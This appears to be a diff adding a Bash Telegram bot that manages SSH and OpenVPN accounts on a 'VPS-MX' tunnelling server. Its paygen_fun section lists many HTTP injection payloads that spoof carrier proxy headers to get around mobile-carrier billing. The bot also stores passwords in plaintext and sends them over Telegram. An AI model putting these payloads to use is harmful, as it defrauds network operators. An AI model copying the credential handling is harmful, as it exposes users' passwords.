+			echo $(((GB + 512) / 1024)) terabytes
+		done
+	}
+	for user in $(mostrar_usuarios); do
+		[[ ! $(sed -n "/^${user},/p" /etc/openvpn/openvpn-status.log) ]] && continue
+		i=0
+		unset RECIVED
+		unset SEND
+		unset HOUR
+		while read line; do
+			IDLOCAL=$(echo ${line} | cut -d',' -f2)
+			RECIVED+="$(echo ${line} | cut -d',' -f3)+"
+			SEND+="$(echo ${line} | cut -d',' -f4)+"
+			DATESEC=$(date +%s --date="$(echo ${line} | cut -d',' -f5 | cut -d' ' -f1,2,3,4)")
+			TIMEON="$(($(date +%s) - ${DATESEC}))"
+			MIN=$(($TIMEON / 60)) && SEC=$(($TIMEON - $MIN * 60)) && HOR=$(($MIN / 60)) && MIN=$(($MIN - $HOR * 60))
+			HOUR+="${HOR}h:${MIN}m:${SEC}s \n"
+			let i++
+		done <<<"$(sed -n "/^${user},/p" /etc/openvpn/openvpn-status.log)"
+		RECIVED=$(echo $(echo ${RECIVED}0 | bc) | byte)
+		SEND=$(echo $(echo ${SEND}0 | bc) | byte)
+		HOUR=$(echo -e $HOUR | sort -n | tail -1)
+		echo -e "$user|$i|$RECIVED|$SEND|$HOUR"
+	done
+}
+# ADICIONA USUARIO
+add_user() {
+	#nome senha Dias limite
+	[[ $(cat /etc/passwd | grep $1: | grep -vi [a-z]$1 | grep -v [0-9]$1 >/dev/null) ]] && return 1
+	valid=$(date '+%C%y-%m-%d' -d " +$3 days") && datexp=$(date "+%F" -d " + $3 days")
+	useradd -M -s /bin/false $1 -e ${valid} >/dev/null 2>&1 || return 1
+	(
+		echo $2
+		echo $2
+	) | passwd $1 2>/dev/null || {
+		userdel --force $1
+		return 1
+	}
+	[[ -e ${USRdatabase} ]] && {
+		newbase=$(cat ${USRdatabase} | grep -w -v "$1")
+		echo "$1|$2|${datexp}|$4" >${USRdatabase}
+		for value in $(echo ${newbase}); do
+			echo $value >>${USRdatabase}
+		done
+	} || echo "$1|$2|${datexp}|$4" >${USRdatabase}
+}
+# REMOVER USUARIO
+rm_user() {
+	#nome
+	userdel --force "$1" &>/dev/null || return 1
+	[[ -e ${USRdatabase} ]] && {
+		newbase=$(cat ${USRdatabase} | grep -w -v "$1")
+		rm ${USRdatabase} && touch ${USRdatabase}
+		for value in $(echo ${newbase}); do
+			echo $value >>${USRdatabase}
+		done
+	}
+}
+# LISTA OS USUARIOS CADASTRADOS
+mostrar_usuarios() {
+	for u in $(awk -F : '$3 > 900 { print $1 }' /etc/passwd | grep -v "nobody" | grep -vi polkitd | grep -vi system-); do
+		echo "$u"
+	done
+}
+# DEFINE UM IP
+meu_ip() {
+	if [[ -e /etc/VPS-MX/MEUIPvps ]]; then
+		echo "$(cat /etc/VPS-MX/MEUIPvps)"
+	else
+		MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127 \.[0-9]{1,3} \.[0-9]{1,3} \.[0-9]{1,3}' | grep -o -E '[0-9]{1,3} \.[0-9]{1,3} \.[0-9]{1,3} \.[0-9]{1,3}' | head -1)
+		MEU_IP2=$(wget -qO- ipv4.icanhazip.com)
+		[[ "$MEU_IP" != "$MEU_IP2" ]] && echo "$MEU_IP2" || echo "$MEU_IP"
+		echo "$MEU_IP" >/etc/VPS-MX/MEUIPvps
+	fi
+}
+# USUARIO BLOCK
+blockfun() {
+	local bot_retorno="$LINE \n"
+	bot_retorno+="--❌ USTED NO PUEDE USAR EL BOT ❌-- \n"
+	bot_retorno+="$LINE \n"
+	bot_retorno+="_--Si eres ADMIN introduse tus credenciales--_ \n"
+	bot_retorno+="$LINE \n"
+	ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+	--text "$(echo -e $bot_retorno)" \
+	--parse_mode markdown
+	return 0
+}
+# SISTEMA DE LOGUIN
+ativarid_fun() {
+	if [[ ! -z $LIBERADOS ]] && [[ $(echo ${LIBERADOS} | grep -w "$3") ]]; then
+		local bot_retorno+="$LINE \n"
+		bot_retorno+="- - 🔰 ACESSO DE ADMIN LIBERADO 🔰 - -  \n"
+		bot_retorno+="$LINE \n"
+		bot_retorno+="✌️ Usted ya Puede usar el Bot \n"
+		bot_retorno+="👉 Dele Buen Uso \n"
+		bot_retorno+="⚙️ Comando Principal: * /menu * \n"
+		bot_retorno+="$LINE \n"
+		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+		--text "$(echo -e $bot_retorno)" \
+		--parse_mode markdown
+		return 0
+	elif [[ $1 = ${USERLIB} ]] && [[ $2 = ${PASSLIB} ]]; then
+		[[ -z $LIBERADOS ]] && LIBERADOS="${3}" || LIBERADOS="${LIBERADOS} ${3}"
+		local bot_retorno+="$LINE \n"
+		bot_retorno+="- - 🔰 ACESSO DE ADMIN LIBERADO 🔰 - -  \n"
+		bot_retorno+="$LINE \n"
+		bot_retorno+="✌️ Usted ya Puede usar el Bot \n"
+		bot_retorno+="👉 Dele Buen Uso \n"
+		bot_retorno+="⚙️ Comando Principal: * /menu * \n"
+		bot_retorno+="$LINE \n"
+		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+		--text "$(echo -e $bot_retorno)" \
+		--parse_mode markdown
+		return 0
+	else
+		local bot_retorno+="$LINE \n"
+		bot_retorno+="--❌ ERROR DE CREDENCIALES ADMIN ❌-- \n"
+		bot_retorno+="$LINE \n"
+		bot_retorno+="_Acesso de ADMIN Negado_ \n"
+		bot_retorno+="_Usuario/Contraseña Erroneos_ \n"
+		bot_retorno+="$LINE \n"
+		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+		--text "$(echo -e $bot_retorno)" \
+		--parse_mode markdown
+		return 0
+	fi
+}
+loguin_fun() {
+	local bot_retorno+="$LINE \n"
+	bot_retorno+="USUARIOS CON ACCESO AL ADMIN \n"
+	bot_retorno+="$LINE \n"
+	ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+	--text "$(echo -e $bot_retorno)" \
+	--parse_mode markdown
+	for lines in $(echo $LIBERADOS); do
+		local bot_retorno+="$LINE \n"
+		bot_retorno2+="$Usuario ID: $lines \n"
+		bot_retorno+="$LINE \n"
+		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+		--text "$(echo -e $bot_retorno2)" \
+		--parse_mode markdown
+	done
+	return 0
+}
+# INFORMAÇÕES DA VPS
+infovps() {
+	mine_port() {
+		unset portas
+		portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" | grep -v "COMMAND" | grep "LISTEN")
+		i=0
+		while read port; do
+			var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}')
+			[[ "$(echo -e ${portas} | grep "$var1|$var2")" ]] || {
+				portas+="$var1|$var2 \n"
+				let i++
+			}
+		done <<<"$portas_var"
+		echo -e $portas
+	}
+	local bot_retorno="$LINE \n"
+	bot_retorno+="*Puertos y Protocolos Activos* \n"
+	bot_retorno+="$LINE \n"
+	bot_retorno+="*IP:* $(meu_ip) \n"
+	while read line; do
+		local serv=$(echo $line | cut -d'|' -f1)
+		local port=$(echo $line | cut -d'|' -f2)
+		bot_retorno+="*Servicio:* ${serv} *Puerto:* ${port} \n"
+	done <<<"$(mine_port)"
+	bot_retorno+="$LINE \n"
+	ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+	--text "$(echo -e $bot_retorno)" \
+	--parse_mode markdown
+	return 0
+}
+# AJUDA
+ajuda_fun() {
+
+	#MONITOR UDP
+	on=" [ ACTIVADO ] " && off=" [ DESACTIVADO ] "
+	[[ $(ps x | grep badvpn | grep -v grep | awk '{print $1}') ]] && badvpn=$on || badvpn=$off
+
+	#CUENTAS REGISTRADAS SSH
+	SSHN="$(grep -c home /etc/passwd)"
+	SSH2="$(echo ${SSHN} | bc)-2"
+	echo "${SSH2}" | bc >/etc/BOT-A/SSH20.log
+	SSH3="$(less /etc/BOT-A/SSH20.log)"
+	SSH4="$(echo $SSH3)"
+	#ONLINES
+	ONLINES="$(less /etc/VPS-MX/USRonlines)"
+	##DEMOS REGISTRADOS
+	demo=$(cd /etc/BOT-TEMP && ls | wc -l)
+	cd
+	##DEMOS RESTANTES
+	demo2="10-$(echo ${demo} | bc)+0"
+	echo "${demo2}" | bc >/etc/BOT-A/SSH-DEMO.log
+	demo3="$(less /etc/BOT-A/SSH-DEMO.log)"
+	demor="$(echo $demo3)"
+
+	local bot_retorno="*$LINE* \n"
+	bot_retorno+="*🔰 MANAGER VPS-MX 2.0 🔰* \n"
+	bot_retorno+="$LINE \n"
+	bot_retorno+="_▪️ SSH REGISTRADAS:_ ( *$SSH4* ) \n"
+	bot_retorno+="_▪️ CONECTADOS:_ ( *$ONLINES* ) \n"
+	bot_retorno+="_▪️ BADVPN:_ 🎮 *$badvpn*  \n"
+	bot_retorno+="$LINE \n"
+	bot_retorno+=" _COMANDOS DISPONIBLES _ \n"
+	bot_retorno+="---------------------------------- \n"
+	bot_retorno+="/agregar -->> Agregar Usuario \n"
+	[[ $(dpkg --get-selections | grep -w "openvpn" | head -1) ]] && [[ -e /etc/openvpn/openvpn-status.log ]] && bot_retorno+="/openadd ($(fun_trans "crear archivo openvpn")) \n"
+	bot_retorno+="/eliminar -->> Remover Usuario \n"
+	bot_retorno+="/renovar -->> Renovar Cuenta \n"
+	bot_retorno+="/usuarios -->> Info de Usuarios \n"
+	bot_retorno+="/verbloqueados -->> Usuarios Bloqueados \n"
+	bot_retorno+="/bloquear -->> Bloquear Usuario \n"
+	bot_retorno+="/desbloquear -->> Desbloquear Usuario \n"
+	bot_retorno+="/online -->> Usuarios Online \n"
+	bot_retorno+="/backup -->> Backup-User \n"
+	bot_retorno+="/restarbackup -->> Restaurar Backup \n"
+	bot_retorno+="/infovps -->> Info de Servidor \n"
+	bot_retorno+="$LINE \n"
+	bot_retorno+=" _ HERRAMIENTAS _ \n"
+	bot_retorno+="---------------------------------- \n"
+	bot_retorno+="/lang -->> Traducir texto \n"
+	bot_retorno+="/scan -->> Scan de Subdominios \n"
+	bot_retorno+="/gerar -->> Cod y Dec Texto \n"
+	bot_retorno+="/sshi -->> Info de cuenta SSH \n"
+	bot_retorno+="/admins -->> ADMIN's con Acceso \n"
+	bot_retorno+="$LINE \n"
+	bot_retorno+="/ADMIN -->> Liberar el BOT \n"
+	bot_retorno+="$LINE \n"
+	ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+	--text "$(echo -e $bot_retorno)" \
+	--parse_mode markdown
+	return 0
+}
+info_fun() {
+	if [[ ! -e "${USRdatabase}" ]]; then
+		local bot_retorno="$LINE \n"
+		bot_retorno="No se ha identificado una base de datos con los usuarios \n"
+		bot_retorno="Los Usuarios a Seguir No contiene Ninguna Informacion \n"
+		bot_retorno+="$LINE \n"
+		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+		--text "$(echo -e $bot_retorno)" \
+		--parse_mode markdown
+	else
+		VPSsec=$(date +%s)
+		local bot_retorno="$LINE \n"
+		bot_retorno+="* Cuentas SSH Registradas*  \n"
+		bot_retorno+="$LINE \n"
+		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+		--text "$(echo -e $bot_retorno)" \
+		--parse_mode markdown
+		for user in $(mostrar_usuarios); do
+			sen=$(cat ${USRdatabase} | grep -w "$user" | cut -d '|' -f2)
+			[[ -z $sen ]] && sen="???"
+			DateExp="$(cat ${USRdatabase} | grep -w "${user}" | cut -d'|' -f3)"
+			if [[ ! -z $DateExp ]]; then
+				DataSec=$(date +%s --date="$DateExp")
+				[[ "$VPSsec" -gt "$DataSec" ]] && EXPTIME="${red}[Exp]" || EXPTIME="${gren}[$(($(($DataSec - $VPSsec)) / 86400))]"
+			else
+				EXPTIME="???"
+			fi
+			limit=$(cat ${USRdatabase} | grep -w "$user" | cut -d '|' -f4)
+			[[ -z $limit ]] && limit="???"
+			bot_retorno="$LINE \n"
+			bot_retorno+="$(fun_trans "Usuario"): $user \n"
+			bot_retorno+="$(fun_trans "Contraseña"): $sen \n"
+			bot_retorno+="$(fun_trans "Dias Restantes"): $EXPTIME \n"
+			bot_retorno+="$(fun_trans "Limite"): $limit \n"
+			bot_retorno+="$LINE \n"
+			ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+			--text "$(echo -e $bot_retorno)" \
+			--parse_mode markdown
+		done
+	fi
+	return 0
+}
+online_fun() {
+	MyTIME="${SCPusr}/time-vps-mx"
+	[[ -e ${MyTIME} ]] && source ${MyTIME} || touch ${MyTIME}
+	local bot_retorno="$LINE \n"
+	bot_retorno+="$* Monitor de Usuarios*  \n"
+	bot_retorno+="$LINE \n"
+	while read user; do
+		PID="0+"
+		[[ $(dpkg --get-selections | grep -w "openssh" | head -1) ]] && PID+="$(ps -u $user | grep sshd | wc -l)+"
+		[[ $(dpkg --get-selections | grep -w "dropbear" | head -1) ]] && PID+="$(dropbear_pids | grep -w "${user}" | wc -l)+"
+		[[ $(dpkg --get-selections | grep -w "openvpn" | head -1) ]] && [[ -e /etc/openvpn/openvpn-status.log ]] && [[ $(openvpn_pids | grep -w "$user" | cut -d'|' -f2) ]] && PID+="$(openvpn_pids | grep -w "$user" | cut -d'|' -f2)+"
+		PID+="0"
+		[[ $(echo $PID | bc) = 0 ]] && continue
+		TIMEON="${TIMEUS[$user]}"
+		[[ -z $TIMEON ]] && TIMEON=0
+		MIN=$(($TIMEON / 60))
+		SEC=$(($TIMEON - $MIN * 60))
+		HOR=$(($MIN / 60))
+		MIN=$(($MIN - $HOR * 60))
+		HOUR="${HOR}h:${MIN}m:${SEC}s"
+		[[ -z $(cat ${USRdatabase} | grep -w "${user}") ]] && MAXPID="?" || MAXPID="$(cat ${USRdatabase} | grep -w "${user}" | cut -d'|' -f4)"
+		TOTALPID="$(echo $PID | bc)/$MAXPID"
+		local IMPRIME="YES"
+		local bot_retorno+="$LINE \n"
+		bot_retorno="$(fun_trans "Usuario"): $user \n"
+		bot_retorno+="$(fun_trans "Conexiones"): $TOTALPID \n"
+		bot_retorno+="$(fun_trans "Tiempo Total"): $HOUR \n"
+		bot_retorno+="$LINE \n"
+		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+		--text "$(echo -e $bot_retorno)" \
+		--parse_mode markdown
+	done <<<"$(mostrar_usuarios)"
+	[[ -z $IMPRIME ]] && {
+		local bot_retorno="$LINE \n"
+		bot_retorno+="$(fun_trans "No hay usuarios en linea") \n"
+		bot_retorno+="$LINE \n"
+		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+		--text "$(echo -e $bot_retorno)" \
+		--parse_mode markdown
+		return 0
+	}
+}
+useradd_fun() {
+	error_fun() {
+		local bot_retorno="$LINE \n"
+		bot_retorno+=" -->>> MODO DE USO \n"
+		bot_retorno+="$LINE \n"
+		bot_retorno+="agregar Usuario Contraseña Dias Limite \n"
+		bot_retorno+="Ejemplo: \n"
+		bot_retorno+='agregar admin admin 30 1 \n'
+		bot_retorno+="$LINE \n"
+		case $1 in
+		[1-3] | 14)
+			[[ $1 = 1 ]] && bot_retorno+="$(fun_trans "Usuario Nulo")" && bot_retorno+="$LINE \n"
+			[[ $1 = 2 ]] && bot_retorno+="$(fun_trans "Usuario Con Nombre Muy Corto")" && bot_retorno+="$LINE \n"
+			[[ $1 = 3 ]] && bot_retorno+="$(fun_trans "Usuario Con Nombre Muy Grande")" && bot_retorno+="$LINE \n"
+			[[ $1 = 14 ]] && bot_retorno+="$(fun_trans "Usuario ya Existe")" && bot_retorno+="$LINE \n"
+			;;
+		[4-6])
+			[[ $1 = 4 ]] && bot_retorno+="$(fun_trans "Contraseña Nula")" && bot_retorno+="$LINE \n"
+			[[ $1 = 5 ]] && bot_retorno+="$(fun_trans "Contraseña Muy Corta")" && bot_retorno+="$LINE \n"
+			[[ $1 = 6 ]] && bot_retorno+="$(fun_trans "Contraseña Muy Grande")" && bot_retorno+="$LINE \n"
+			;;
+		[7-9])
+			[[ $1 = 7 ]] && bot_retorno+="$(fun_trans "Duracion Nula")" && bot_retorno+="$LINE \n"
+			[[ $1 = 8 ]] && bot_retorno+="$(fun_trans "Duracion invalida utilize numeros")" && bot_retorno+="$LINE \n"
+			[[ $1 = 9 ]] && bot_retorno+="$(fun_trans "Duracion maxima de un año")" && bot_retorno+="$LINE \n"
+			;;
+		1[1-3])
+			[[ $1 = 11 ]] && bot_retorno+="$(fun_trans "Limite Nulo")" && bot_retorno+="$LINE \n"
+			[[ $1 = 12 ]] && bot_retorno+="$(fun_trans "Limite invalido utilize numeros")" && bot_retorno+="$LINE \n"
+			[[ $1 = 13 ]] && bot_retorno+="$(fun_trans "Limite maximo de 999")" && bot_retorno+="$LINE \n"
+			;;
+		esac
+		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+		--text "$(echo -e $bot_retorno)" \
+		--parse_mode markdown
+	}
+	usuarios_ativos=($(mostrar_usuarios))
+	[[ -z "$1" ]] && error_fun && return 0
+	[[ -z "$2" ]] && error_fun && return 0
+	[[ -z "$3" ]] && error_fun && return 0
+	[[ -z "$4" ]] && error_fun && return 0
+	if [[ -z $1 ]]; then
+		error_fun 1 && return 0
+	elif [[ "${#1}" -lt "4" ]]; then
+		error_fun 2 && return 0
+	elif [[ "${#1}" -gt "24" ]]; then
+		error_fun 3 && return 0
+	elif [[ "$(echo ${usuarios_ativos[@]} | grep -w "$1")" ]]; then
+		error_fun 14 && return 0
+	fi
+	if [[ -z $2 ]]; then
+		error_fun 4 && return 0
+	elif [[ "${#2}" -lt "6" ]]; then
+		error_fun 5 && return 0
+	elif [[ "${#2}" -gt "20" ]]; then
+		error_fun 6 && return 0
+	fi
+	if [[ -z "$3" ]]; then
+		error_fun 7 && return 0
+	elif [[ "$3" != +([0-9]) ]]; then
+		error_fun 8 && return 0
+	elif [[ "$3" -gt "360" ]]; then
+		error_fun 9 && return 0
+	fi
+	if [[ -z "$4" ]]; then
+		error_fun 11 && return 0
+	elif [[ "$4" != +([0-9]) ]]; then
+		error_fun 12 && return 0
+	elif [[ "$4" -gt "999" ]]; then
+		error_fun 13 && return 0
+	fi
+	add_user "$1" "$2" "$3" "$4"
+	if [[ "$?" = "1" ]]; then
+		local bot_retorno="$LINE \n"
+		bot_retorno+="$(fun_trans "Usuario No Fue Creado") \n"
+		bot_retorno+="$LINE \n"
+		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+		--text "$(echo -e $bot_retorno)" \
+		--parse_mode markdown
+		return 0
+	else
+		local bot_retorno="$LINE \n"
+		bot_retorno+="CUENTA CREADA \n"
+		bot_retorno+="$LINE \n"
+		bot_retorno+="Usuario: $1 \n"
+		bot_retorno+="Contraseña: $2 \n"
+		bot_retorno+="Duracion: $3 Dias \n"
+		bot_retorno+="Limite: $4 Logeo \n"
+		bot_retorno+="$LINE \n"
+		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+		--text "$(echo -e $bot_retorno)" \
+		--parse_mode markdown
+		return 0
+	fi
+}
+userdell_fun() {
+	error_fun() {
+		local bot_retorno="$LINE \n"
+		bot_retorno+=" -->>> MODO DE USO \n"
+		bot_retorno+="$LINE \n"
+		bot_retorno+="eliminar Usuario \n"
+		bot_retorno+="Ejemplo: \n"
+		bot_retorno+='eliminar admin \n'
+		bot_retorno+="$LINE \n"
+		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+		--text "$(echo -e $bot_retorno)" \
+		--parse_mode markdown
+		return 0
+	}
+	[[ -z "$1" ]] && error_fun && return 0
+	rm_user "$1" && {
+		local bot_retorno="$LINE \n"
+		bot_retorno+="$Removido Con Exito \n"
+		bot_retorno+="$LINE \n"
+		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+		--text "$(echo -e $bot_retorno)" \
+		--parse_mode markdown
+		return 0
+	} || {
+		local bot_retorno="$LINE \n"
+		bot_retorno+="Usuario No Removido \n"
+		bot_retorno+="$LINE \n"
+		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+		--text "$(echo -e $bot_retorno)" \
+		--parse_mode markdown
+		return 0
+	}
+}
+paygen_fun() {
+	gerar_pays() {
+		echo 'GET http://mhost/ HTTP/1.1[crlf][raw][crlf] [crlf][crlf]
+ CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]
+ CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf] [crlf]
+ CONNECT [host_port]@mhost HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]
+ CONNECT [host_port]@mhost HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf] [crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT [host_port]@mhost [protocol][crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT [host_port]@mhost [protocol][crlf] [crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf]
+ CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf][crlf]
+ CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf] [crlf]
+ CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Referer: mhost[crlf][crlf]
+ CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Referer: mhost[crlf] [crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf]
+ GET mhost@[host_port] [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]
+ GET mhost@[host_port] [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf] [crlf]
+ GET [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]
+ GET [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf] [crlf]
+ CONNECT [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]
+ CONNECT [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf] [crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][raw][crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][raw][crlf] [crlf]
+ CONNECT [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf]
+ CONNECT [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf] [crlf]
+ GET http://mhost/ HTTP/1.1[crlf]User-Agent: [ua][crlf][crlf][split][raw][crlf][crlf]CONNECT mhost:443 HTTP/1.1[crlf][raw][crlf][crlf]GET http://mhost/ HTTP/1.0[crlf]Host: mhost[crlf]Proxy-Authorization: basic: mhost[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive [crlf]Host: [host][crlf][crlf][split][raw][crlf][crlf]GET http://mhost/ HTTP/1.0[crlf]Host: mhost/[crlf][crlf]CONNECT [host_port] HTTP/1.0[crlf][crlf][realData][crlf][crlf]
+ [method] mhost:443 HTTP/1.1[crlf][raw][crlf][crlf]GET http://mhost/ HTTP/1.1 \nHost: mhost \nConnection: close \nConnection: close \nUser-Agent:[ua][crlf]Proxy-Connection: Keep-Alive[crlf]Host: [host][crlf][crlf][delay_split][raw][crlf][crlf][raw][crlf][realData][crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]User-Agent: KDDI[crlf]Host: [host][crlf][crlf][raw][raw][crlf][raw][crlf][raw][crlf][crlf]DELETE http://mhost/ HTTP/1.1[crlf]Host: m.opera.com[crlf]Proxy-Authorization: basic: *[crlf]User-Agent: KDDI[crlf]Connection: close[crlf]Proxy-Connection: Direct[crlf]Host: [host][crlf][crlf][raw][raw][crlf][crlf][raw][method] http://mhost[port] HTTP/1.1[crlf]Host: [host][crlf][crlf]CONNECT [host] [protocol][crlf][crlf][CONNECT [host] [protocol][crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][netData][crlf][instant_split]MOVE http://mhost[delay_split][crlf][crlf][netData][crlf][instant_split]MOVE http://mhost[delay_split][crlf][crlf][netData][crlf][instant_split]MOVE http://mhost[delay_split][crlf][crlf]X-Online-Host: mhost[crlf]Packet Length: Authorization[crlf]Packet Content: Authorization[crlf]Transfer-Encoding: chunked[crlf]Referer: mhost[crlf][crlf]
+ [crlf][crlf]CONNECT [host_port]@mhost/ [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: [ua][crlf]CONNECT [host]@mhost/ [protocol][crlf][crlf]
+ [method] [host_port] [protocol] [delay_split]GET http://mhost/ HTTP/1.1[netData][crlf]GET mip:80[crlf]X-GreenArrow-MtaID: smtp1-1[crlf]CONNECT http://mhost/ HTTP/1.1[crlf]CONNECT http://mhost/ HTTP/1.0[crlf][split]CONNECT http://mhost/ HTTP/1.1[crlf]CONNECT http://mhost/ HTTP/1.1[crlf][crlf][method] [host_port] [protocol]?[split]GET http://mhost:8080/[crlf][crlf]GET [host_port] [protocol]?[split]OPTIONS http://mhost/[crlf]Connection: Keep-Alive[crlf]User-Agent: Mozilla/5.0 (Android; Mobile; rv:35.0) Gecko/35.0 Firefox/35.0[crlf]CONNECT [host_port] [protocol] [crlf]GET [host_port] [protocol]?[split]GET http://mhost/[crlf][crlf][method] mip:80[split]GET mhost/[crlf][crlf]: Cache-Control:no-store,no-cache,must-revalidate,post-check=0,pre-check=0[crlf]Connection:close[crlf]CONNECT [host_port] [protocol]?[split]GET http://mhost:/[crlf][crlf]POST [host_port] [protocol]?[split]GET[crlf]mhost:/[crlf]Content-Length: 999999999 \r \n \r \n
+ GET [host_port] [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Referer: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf]
+ CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET mhost/ HTTP/1.1[crlf][crlf]
+ CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: navegue.vivo.ddivulga.com/pacote[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost/[crlf]GET mhost/ HTTP/1.1[crlf]HEAD mhost/ HTTP/1.1[crlf]TRACE mhost/ HTTP/1.1[crlf]OPTIONS mhost/ HTTP/1.1[crlf]PATCH mhost/ HTTP/1.1[crlf]PROPATCH mhost/ HTTP/1.1[crlf]DELETE mhost/ HTTP/1.1[crlf]PUT mhost/ HTTP/1.1[crlf]Host: 